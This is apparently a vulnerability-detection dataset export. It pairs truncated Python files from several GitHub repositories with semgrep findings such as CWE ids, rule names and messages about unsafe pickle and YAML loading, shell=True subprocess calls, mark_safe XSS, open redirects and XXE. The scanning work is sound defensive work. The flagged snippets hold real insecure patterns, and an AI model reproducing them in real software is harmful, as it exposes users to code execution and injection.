[ "LOW" ]
[ "MEDIUM" ]
[ 15 ]
[ 15 ]
[ 12 ]
[ 37 ]
[ "A08:2017 - Insecure Deserialization" ]
[ "The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. See more details: https://docs.python.org/3/library/marshal.html?highlight=security" ]
[ 5 ]
[ "LOW" ]
[ "MEDIUM" ]
indexosm.py
/indexosm.py
afcarl/osmtools
MIT
2024-11-19T02:07:24.410965+00:00
1,624,824,905,000
3a359a8029824e166a959f747149055176319ba9
3
{ "blob_id": "3a359a8029824e166a959f747149055176319ba9", "branch_name": "refs/heads/master", "committer_date": 1624824905000, "content_id": "f39bcc4e70c1201f21d575b635dff600f8d974ca", "detected_licenses": [ "MIT" ], "directory_id": "d3f9bfe5c950de9ef4f35ab23df998a62e4a247d", "extension": "py", "fi...
2.671875
stackv2
import argparse import yaml import sys import re from pathlib import Path PATTERN = r"\{(.*)\}" def apply_template(record, template): """Apply a template defined in template to a record. The template must include versions for complete and incomplete records. """ output_elements = {} for e in temp...
105
37.19
80
22
812
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_a1ee65bfb5b2d8ee_c4899c59", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' par...
5
true
[ "CWE-502", "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pyyaml-load", "rules.python.lang.security.deserialization.avoid-pyyaml-load" ]
[ "security", "security" ]
[ "MEDIUM", "MEDIUM" ]
[ "HIGH", "HIGH" ]
[ 47, 55 ]
[ 48, 55 ]
[ 24, 18 ]
[ 53, 63 ]
[ "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization" ]
[ "Detected a possible YAML deserialization vulnerability. `yaml.unsafe_load`, `yaml.Loader`, `yaml.CLoader`, and `yaml.UnsafeLoader` are all known to be unsafe methods of deserializing YAML. An attacker with control over the YAML input could create special YAML input that allows the attacker to run arbitrary Python ...
[ 7.5, 7.5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
litdb_format.py
/litdb/litdb_format.py
scotthartley/litdb
MIT
2024-11-19T02:07:25.139185+00:00
1,533,209,448,000
e78ab7bbe59bf1475a1c39016319c9b754afce89
3
{ "blob_id": "e78ab7bbe59bf1475a1c39016319c9b754afce89", "branch_name": "refs/heads/master", "committer_date": 1533209448000, "content_id": "d5e0c4b0be5b286f0aa2ea266653ad93b9d590f4", "detected_licenses": [ "MIT" ], "directory_id": "29f860bfa753a9e049bb63208ab49edf50702fbc", "extension": "py", "fi...
2.734375
stackv2
from collections import OrderedDict from django.conf import settings from django.template import loader import os import time from goods.models import GoodsChannel from .models import ContentCategory def generate_static_index_html(): ''' 生成静态文件的主页html :return: ''' # 商品频道及分类菜单 # 使用有序字典保存类别的顺...
80
29.39
84
14
722
python
[{"finding_id": "semgrep_rules.python.flask.security.xss.audit.direct-use-of-jinja2_cd6a495d1a8f2b99_5c551b16", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected direct use of jinja...
1
true
[ "CWE-79" ]
[ "rules.python.flask.security.xss.audit.direct-use-of-jinja2" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 71 ]
[ 71 ]
[ 17 ]
[ 41 ]
[ "A07:2017 - Cross-Site Scripting (XSS)" ]
[ "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS." ]
[ 5 ]
[ "LOW" ]
[ "MEDIUM" ]
crons.py
/Django_mall/Django_mall/apps/contents/crons.py
gottuantuan/Django_shopping
MIT
2024-11-19T02:07:26.065900+00:00
1,690,480,722,000
7a758671d8e9e87193f2bf629643d1a34049efd0
3
{ "blob_id": "7a758671d8e9e87193f2bf629643d1a34049efd0", "branch_name": "refs/heads/master", "committer_date": 1690480722000, "content_id": "754c4176c660100df442eca420f70ba2ac51fa4c", "detected_licenses": [ "Apache-2.0" ], "directory_id": "f509ab9825c542e09b0c6591d86ef1f9feb540a6", "extension": "py"...
2.671875
stackv2
""" Execute type APIs for APIC """ import time import logging from genie.utils.timeout import Timeout log = logging.getLogger(__name__) def execute_clear_firmware_repository(device, sleep_after_delete=5): """ Clears the firmware repository. Args: device (obj): Device to execute on sleep_af...
280
34.26
84
19
1,888
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.formatted-sql-query_281ad0e50fa64101_8ea51767", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.formatted-sql-query", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected possible formatted SQL query. U...
3
true
[ "CWE-89", "CWE-89", "CWE-89" ]
[ "rules.python.lang.security.audit.formatted-sql-query", "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query" ]
[ "security", "security", "security" ]
[ "LOW", "LOW", "LOW" ]
[ "MEDIUM", "HIGH", "HIGH" ]
[ 33, 33, 232 ]
[ 33, 33, 235 ]
[ 9, 9, 9 ]
[ 70, 70, 10 ]
[ "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Detected possible formatted SQL query. Use parameterized queries instead.", "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepa...
[ 5, 7.5, 7.5 ]
[ "LOW", "LOW", "LOW" ]
[ "HIGH", "HIGH", "HIGH" ]
execute.py
/pkgs/sdk-pkg/src/genie/libs/sdk/apis/apic/firmware/execute.py
CiscoTestAutomation/genielibs
Apache-2.0
2024-11-19T02:31:18.471554+00:00
1,572,154,558,000
da8531e051d1e00ba0b499d36db6f40a8e550d65
3
{ "blob_id": "da8531e051d1e00ba0b499d36db6f40a8e550d65", "branch_name": "refs/heads/master", "committer_date": 1572154558000, "content_id": "70d13f98f99e9270545dc0e5bf0182728f2829c2", "detected_licenses": [ "Apache-2.0" ], "directory_id": "426f216e3d38d2030d337c8be6463cc4cd7af6c3", "extension": "py"...
2.796875
stackv2
#!/usr/bin/env python # -*- coding:utf-8 -*- from django.utils.safestring import mark_safe class PageInfo: def __init__(self,page,count,per_item=5): #per_item=5 设置默认值为5 self.Page = page self.Count = count self.Per_item = per_item @property def start(self): ...
81
26.25
82
16
634
python
[{"finding_id": "semgrep_rules.python.django.security.audit.avoid-mark-safe_5a905c86e8524528_da66e06f", "tool_name": "semgrep", "rule_id": "rules.python.django.security.audit.avoid-mark-safe", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "'mark_safe()' is used to mark a string as \"...
1
true
[ "CWE-79" ]
[ "rules.python.django.security.audit.avoid-mark-safe" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 77 ]
[ 77 ]
[ 14 ]
[ 43 ]
[ "A07:2017 - Cross-Site Scripting (XSS)" ]
[ "'mark_safe()' is used to mark a string as \"safe\" for HTML output. This disables escaping and could therefore subject the content to XSS attacks. Use 'django.utils.html.format_html()' to build HTML for rendering instead." ]
[ 5 ]
[ "LOW" ]
[ "MEDIUM" ]
html_helper.py
/day14/BBS/web/html_helper.py
zhangyage/Python-oldboy
Apache-2.0
2024-11-19T02:31:19.157287+00:00
1,552,639,395,000
261d1c356bfc783cc6f4a254fb277eb671a7dbbe
3
{ "blob_id": "261d1c356bfc783cc6f4a254fb277eb671a7dbbe", "branch_name": "refs/heads/master", "committer_date": 1552639395000, "content_id": "a44e6ada31988fa9b198c0814e49e6040594e5fe", "detected_licenses": [ "MIT" ], "directory_id": "03f46dccb45e2fc76f8f67bed65f39f8bf58fada", "extension": "py", "fi...
3.09375
stackv2
import numpy as np import cv2 import glob import matplotlib.pyplot as plt import pickle def warper(img, src, dst): # Compute and apply perspective transform img_size = (img.shape[1], img.shape[0]) M = cv2.getPerspectiveTransform(src, dst) # Minv = cv2.getPerspectiveTransform(dst, src) # We're going b...
64
34.08
108
15
711
python
[{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_85ced19890220ccd_fd962941", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is kno...
1
true
[ "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 22 ]
[ 22 ]
[ 19 ]
[ 75 ]
[ "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format." ]
[ 5 ]
[ "LOW" ]
[ "MEDIUM" ]
Prsp_transform.py
/Prsp_transform.py
SeoGyuSik/sbtm_lane_lines
MIT
2024-11-19T02:31:29.433453+00:00
1,634,563,987,000
5bb4415b9e50e1df3b6b053477d360b8378ab536
3
{ "blob_id": "5bb4415b9e50e1df3b6b053477d360b8378ab536", "branch_name": "refs/heads/main", "committer_date": 1634563987000, "content_id": "fa4cdbb0c44d33431cee42527576937803a7a082", "detected_licenses": [ "Apache-2.0", "Unlicense" ], "directory_id": "726cb37f33575f988267dee6b27e5fd2e43c0375", "e...
2.53125
stackv2
# Copyright (c) Facebook, Inc. and its affiliates. import pickle import torch import torch.distributed as dist def is_distributed(): if not dist.is_available() or not dist.is_initialized(): return False return True def get_rank(): if not is_distributed(): return 0 return dist.get_ra...
175
28.33
97
18
1,154
python
[{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_7d08391c0a1a62eb_59438a1c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is kno...
2
true
[ "CWE-502", "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
[ 128, 153 ]
[ 128, 153 ]
[ 14, 26 ]
[ 32, 46 ]
[ "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "Avoid using `pickle`, which is known to lead to...
[ 5, 5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
dist.py
/utils/dist.py
Kitsunetic/3detr
Apache-2.0,Unlicense
2024-11-19T02:31:37.851102+00:00
1,691,709,641,000
80e3fcd161e33cbf74fc4f7d688792e39191d951
2
{ "blob_id": "80e3fcd161e33cbf74fc4f7d688792e39191d951", "branch_name": "refs/heads/master", "committer_date": 1691709641000, "content_id": "c2ddcf9e9633b712bf16af2f7a9d8557da0e165b", "detected_licenses": [ "MIT" ], "directory_id": "16c65090879995985ff0849cb5386b7d418159a4", "extension": "py", "fi...
2.359375
stackv2
# python2, 3 compatibility from __future__ import absolute_import, division, print_function import six import os import sys import inspect from builtins import str, open, range, dict import pickle import numpy as np import pandas as pd import pybedtools from pybedtools import BedTool from sklearn.preprocessing import...
259
35.25
121
17
2,124
python
[{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_e5f21e9b3752551b_53627c7d", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is kno...
2
true
[ "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 65 ]
[ 65 ]
[ 28 ]
[ 42 ]
[ "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format." ]
[ 5 ]
[ "LOW" ]
[ "MEDIUM" ]
dataloader.py
/rbp_eclip/dataloader.py
kipoi/models
MIT
2024-11-19T02:31:42.037127+00:00
1,604,392,697,000
76de663d93a435205e00d1d83acdb702706e7800
3
{ "blob_id": "76de663d93a435205e00d1d83acdb702706e7800", "branch_name": "refs/heads/master", "committer_date": 1604392697000, "content_id": "f4126b345a17258ac31dbe2fe6174603f5200e0a", "detected_licenses": [ "MIT" ], "directory_id": "6a5478592743c63a17baa7dad0cff997c218da74", "extension": "py", "fi...
2.796875
stackv2
__doc__ = """ Module to generate a skeleton of code from Experiment Description.""" import json import logging import os from jinja2 import Environment, FileSystemLoader def generate_worker_function(experiment_description_path): """ The method takes a path to an experiment description and appends sce...
43
39.95
128
15
369
python
[{"finding_id": "semgrep_rules.python.flask.security.xss.audit.direct-use-of-jinja2_4bbfee05218159c9_b6704ebd", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected direct use of jinja...
8
true
[ "CWE-79", "CWE-116" ]
[ "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "rules.python.jinja2.security.audit.missing-autoescape-disabled" ]
[ "security", "security" ]
[ "LOW", "MEDIUM" ]
[ "MEDIUM", "MEDIUM" ]
[ 18, 18 ]
[ 18, 18 ]
[ 15, 15 ]
[ 46, 46 ]
[ "A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection" ]
[ "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "Detected a Jinja2 environment witho...
[ 5, 5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
generator.py
/worker/generator/generator.py
dpukhkaiev/BRISE2
MIT
2024-11-19T02:31:46.273599+00:00
1,559,382,824,000
6bf04e0b39ca7763cd8204c7372a444fffed9f54
3
{ "blob_id": "6bf04e0b39ca7763cd8204c7372a444fffed9f54", "branch_name": "refs/heads/master", "committer_date": 1559382824000, "content_id": "a8b15e2b5d9d06ba578ccceaa11d8041146b8743", "detected_licenses": [ "MIT" ], "directory_id": "723a81c8af647f05fabadc06083c253ab265c741", "extension": "py", "fi...
2.53125
stackv2
import numpy as np import cv2 import pickle #for label naming #Rb -> Read Byte labels = {} with open("labels.pickle",'rb') as f: og_labels = pickle.load(f) labels = {v:k for k,v in og_labels.items()} #talk to me about this ;) (key, value pair conversion) face_cascade = cv2.CascadeClassifier('cascade/data/haarcasc...
72
21.36
107
12
517
python
[{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_3c7b8ce4a7d154ab_6c85a09d", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is kno...
1
true
[ "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 8 ]
[ 8 ]
[ 14 ]
[ 28 ]
[ "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format." ]
[ 5 ]
[ "LOW" ]
[ "MEDIUM" ]
lasttry.py
/lasttry.py
AmirQadir/Auto-Object-Detection-and-Tracker
MIT
2024-11-19T02:31:50.498090+00:00
1,575,195,310,000
be197bff2113e4c538e62e1fc46f0954d871ab70
2
{ "blob_id": "be197bff2113e4c538e62e1fc46f0954d871ab70", "branch_name": "refs/heads/master", "committer_date": 1575195310000, "content_id": "2e3c5326cf82a49454253d92c99c95499017d2d6", "detected_licenses": [ "MIT" ], "directory_id": "3cdd44cb817db6aeb0b7f77d6b883b0e382a7203", "extension": "py", "fi...
2.5
stackv2
# minimal example from: # http://flask.pocoo.org/docs/quickstart/ import project4 as prj4 from project5 import detect import os from flask import Flask, flash, request, redirect, url_for,render_template, send_from_directory from werkzeug.utils import secure_filename OUTPUT_FOLDER = os.path.join('static', 'output') ...
91
31.47
96
16
642
python
[{"finding_id": "semgrep_rules.python.flask.security.open-redirect_b09442f55b734779_64c2cc5b", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.open-redirect", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Data from request is passed to redirect(). This is an open redir...
2
true
[ "CWE-601", "CWE-601" ]
[ "rules.python.flask.security.open-redirect", "rules.python.flask.security.open-redirect" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "HIGH", "HIGH" ]
[ 62, 68 ]
[ 62, 68 ]
[ 20, 20 ]
[ 41, 41 ]
[ "A01:2021 - Broken Access Control", "A01:2021 - Broken Access Control" ]
[ "Data from request is passed to redirect(). This is an open redirect and could be exploited. Consider using 'url_for()' to generate links to known locations. If you must use a URL to unknown pages, consider using 'urlparse()' or similar and checking if the 'netloc' property is the same as your site's host name. See...
[ 7.5, 7.5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
app_prj5.py
/app_prj5.py
e0015274/machine-learning-app-for-education
MIT
2024-11-19T02:31:53.908325+00:00
1,562,453,903,000
70c73a6af19f4f662655ab712d42fa7430c13697
3
{ "blob_id": "70c73a6af19f4f662655ab712d42fa7430c13697", "branch_name": "refs/heads/master", "committer_date": 1562453903000, "content_id": "f53dd8094c6bc91de8096b2191c73e3e08120702", "detected_licenses": [ "MIT" ], "directory_id": "86d96c29a5f3acd6c50b8a3ea23403e92e5edbe2", "extension": "py", "fi...
2.59375
stackv2
import matplotlib matplotlib.use('TkAgg') import matplotlib.pyplot as plt import matplotlib.image as mpimg import tkinter as tk from tkinter.filedialog import askopenfilename from PIL import Image, ImageTk import numpy import math import os import subprocess from tkinter import filedialog import time os.chdir('...
170
33.19
173
17
1,562
python
[{"finding_id": "semgrep_rules.python.lang.correctness.return-in-init_ba4f87938bb7737e_b70d23d7", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.return-in-init", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "`return` should never appear inside a class __init__...
10
true
[ "CWE-78", "CWE-78", "CWE-78", "CWE-78", "CWE-78", "CWE-78", "CWE-78", "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "rules.python.lang.security.audit.subprocess-shell-true", "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "rules.python.lang.security.audit.subprocess-shell-true", "rules.python.lang.security.audit.dangerous-subprocess-use...
[ "security", "security", "security", "security", "security", "security", "security", "security" ]
[ "LOW", "MEDIUM", "LOW", "MEDIUM", "LOW", "MEDIUM", "LOW", "MEDIUM" ]
[ "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH" ]
[ 113, 113, 115, 115, 123, 123, 162, 162 ]
[ 113, 113, 115, 115, 123, 123, 162, 162 ]
[ 21, 48, 21, 48, 19, 46, 19, 46 ]
[ 53, 52, 53, 52, 51, 50, 51, 50 ]
[ "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "Found 'subprocess' functio...
[ 7.5, 7.5, 7.5, 7.5, 7.5, 7.5, 7.5, 7.5 ]
[ "LOW", "HIGH", "LOW", "HIGH", "LOW", "HIGH", "LOW", "HIGH" ]
[ "HIGH", "LOW", "HIGH", "LOW", "HIGH", "LOW", "HIGH", "LOW" ]
demo.py
/demo.py
ChiehFu/SISR_with_GUI
MIT
2024-11-19T02:31:55.096279+00:00
1,624,927,335,000
c26aca339f83cc646a497143c4bcfc07e8056b85
3
{ "blob_id": "c26aca339f83cc646a497143c4bcfc07e8056b85", "branch_name": "refs/heads/master", "committer_date": 1624927335000, "content_id": "4190ae04f3cb2072015d22fb9dde82bc01671986", "detected_licenses": [ "Unlicense" ], "directory_id": "099bb02a0946710eff4ead5a1f1176b7f81156cc", "extension": "py",...
2.765625
stackv2
#!/usr/bin/env python3 ### Main helper script. import subprocess, os import scripts.utils.csv as util_csv # Change and get current working directory, for compatibility with standalone scripts os.chdir("scripts/") cwd = os.getcwd() def generate(): """Regenerate site""" runIdName = "tk_run_id" categoryIdN...
72
24.19
85
13
434
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_c8c7c777654ab251_133d283d", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess ...
12
true
[ "CWE-78", "CWE-78", "CWE-78", "CWE-78", "CWE-78", "CWE-78", "CWE-78", "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "rules.python.lang.security.audit.subprocess-shell-true", "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "rules.python.lang.security.audit.subprocess-shell-true", "rules.python.lang.security.audit.dangerous-subprocess-use...
[ "security", "security", "security", "security", "security", "security", "security", "security" ]
[ "LOW", "MEDIUM", "LOW", "MEDIUM", "LOW", "MEDIUM", "LOW", "MEDIUM" ]
[ "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH" ]
[ 18, 18, 23, 23, 28, 28, 33, 33 ]
[ 18, 18, 23, 23, 28, 28, 33, 33 ]
[ 9, 53, 5, 46, 5, 53, 5, 48 ]
[ 58, 57, 51, 50, 58, 57, 53, 52 ]
[ "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "Found 'subprocess' functio...
[ 7.5, 7.5, 7.5, 7.5, 7.5, 7.5, 7.5, 7.5 ]
[ "LOW", "HIGH", "LOW", "HIGH", "LOW", "HIGH", "LOW", "HIGH" ]
[ "HIGH", "LOW", "HIGH", "LOW", "HIGH", "LOW", "HIGH", "LOW" ]
paceboard.py
/paceboard.py
PaceRIP/paceboard
Unlicense
2024-11-19T02:32:01.283716+00:00
1,618,954,717,000
2e70ad0ed7dc438908b6071b9180f276295c9e73
3
{ "blob_id": "2e70ad0ed7dc438908b6071b9180f276295c9e73", "branch_name": "refs/heads/master", "committer_date": 1618954717000, "content_id": "490dec1488280d596ab9352ec0bdbba6c1651855", "detected_licenses": [ "MIT", "BSD-3-Clause", "BSD-2-Clause", "Python-2.0" ], "directory_id": "6989203826d...
2.609375
stackv2
# -*- coding: utf-8 -*- """ Command Runner - ShapeMapper ================ CMD runner for "ShapeMapper". """ import json import os import subprocess from typing import Dict, Any from neoRNA.library.library_config import RnaLibConfig from neoRNA.library.library_item import LibraryItem from neoRNA.util.json_serializ...
174
34.04
102
20
1,365
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_f4c341eda7ca1686_75f0c754", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess ...
5
true
[ "CWE-78", "CWE-78", "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "rules.python.lang.security.audit.subprocess-shell-true" ]
[ "security", "security", "security" ]
[ "LOW", "LOW", "MEDIUM" ]
[ "HIGH", "HIGH", "HIGH" ]
[ 55, 168, 168 ]
[ 55, 168, 168 ]
[ 13, 13, 40 ]
[ 52, 45, 44 ]
[ "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "Detected subprocess functi...
[ 7.5, 7.5, 7.5 ]
[ "LOW", "LOW", "HIGH" ]
[ "HIGH", "HIGH", "LOW" ]
shape_runner.py
/feature_generation/neo-rna/neoRNA/library/shape_mapper/shape_runner.py
kundajelab/PREUSS
MIT,BSD-3-Clause,BSD-2-Clause,Python-2.0
2024-11-19T02:32:03.511710+00:00
1,413,220,687,000
fd761c88737e3622a0466b6b6356c2175bc9c74e
3
{ "blob_id": "fd761c88737e3622a0466b6b6356c2175bc9c74e", "branch_name": "refs/heads/master", "committer_date": 1413220687000, "content_id": "e0e4d40e2b47bc5409bb65286939778e57efb7f0", "detected_licenses": [ "Apache-2.0" ], "directory_id": "18eba2edf1fe3dcb31d646269f1a41747500db9f", "extension": "py"...
2.703125
stackv2
#! /usr/bin/python # -*- coding: utf-8 -*- from xml.sax import make_parser import smallsmilhandler as ssh import sys import os class KaraokeLocal(): def __init__(self, filename): parser = make_parser() SSMILH = ssh.SmallSMILHandler() parser.setContentHandler(SSMILH) parser.parse(...
45
25.16
67
20
300
python
[{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_c282304ba68dd83f_fe648e72", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead...
3
true
[ "CWE-611", "CWE-78" ]
[ "rules.python.lang.security.use-defused-xml", "rules.python.lang.security.audit.dangerous-system-call-audit" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "HIGH", "HIGH" ]
[ 4, 24 ]
[ 4, 24 ]
[ 1, 21 ]
[ 32, 55 ]
[ "A04:2017 - XML External Entities (XXE)", "A01:2017 - Injection" ]
[ "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "Found dynamic content used in a system call. This is dange...
[ 7.5, 7.5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "HIGH" ]
karaoke.py
/karaoke.py
ziyua/ptavi-p3
Apache-2.0
2024-11-19T02:32:04.186535+00:00
1,581,415,239,000
49fad74b8e65f0655230c270827e22c3a0e6d1b0
3
{ "blob_id": "49fad74b8e65f0655230c270827e22c3a0e6d1b0", "branch_name": "refs/heads/master", "committer_date": 1581415239000, "content_id": "6e4d9e2d6ba65cd494905e938c4355092d4bc3c2", "detected_licenses": [ "MIT" ], "directory_id": "1a3fb586d557ce5a55208b0861c51226b228fec4", "extension": "py", "fi...
3.234375
stackv2
""" PicMetric Flask API: Given a single images or batch of images, analyzes the images and returns a JSON with summary information about the image(s) and batch. """ from flask import Flask, jsonify, request, render_template # import model_yolov3 import numpy as np # [?? To do: REMOVE after removing testing part below...
107
38.71
127
13
955
python
[{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_4c7313091d12853e_a5eebde0", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is kno...
1
true
[ "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 21 ]
[ 21 ]
[ 13 ]
[ 30 ]
[ "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format." ]
[ 5 ]
[ "LOW" ]
[ "MEDIUM" ]
application.py
/application.py
chrishuskey/picmetric_dummy_model
MIT
2024-11-19T02:32:04.401583+00:00
1,587,657,533,000
8f139a33df15205570e88edaf4358bb07c8e9af9
2
{ "blob_id": "8f139a33df15205570e88edaf4358bb07c8e9af9", "branch_name": "refs/heads/master", "committer_date": 1587657533000, "content_id": "943b12470190947ad1dc445f14e519ef374e4fa4", "detected_licenses": [ "MIT" ], "directory_id": "0558653e00a3545ce2321142ca996cb76dd9043a", "extension": "py", "fi...
2.328125
stackv2
import matplotlib.pyplot as plt import pickle import numpy as np data30 = pickle.load(open("data30/data_30.pckl", "rb")) data30refit = pickle.load(open("data30/data_30_refit.pckl", "rb")) data100 = pickle.load(open("data30/data_100.pckl", "rb")) data500 = pickle.load(open("data30/data_500.pckl", "rb")) data2000 = pick...
21
43.48
77
12
349
python
[{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_dfe2cad360bfa469_0d3c8c7d", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is kno...
6
true
[ "CWE-502", "CWE-502", "CWE-502", "CWE-502", "CWE-502", "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle", "rules.pyth...
[ "security", "security", "security", "security", "security", "security" ]
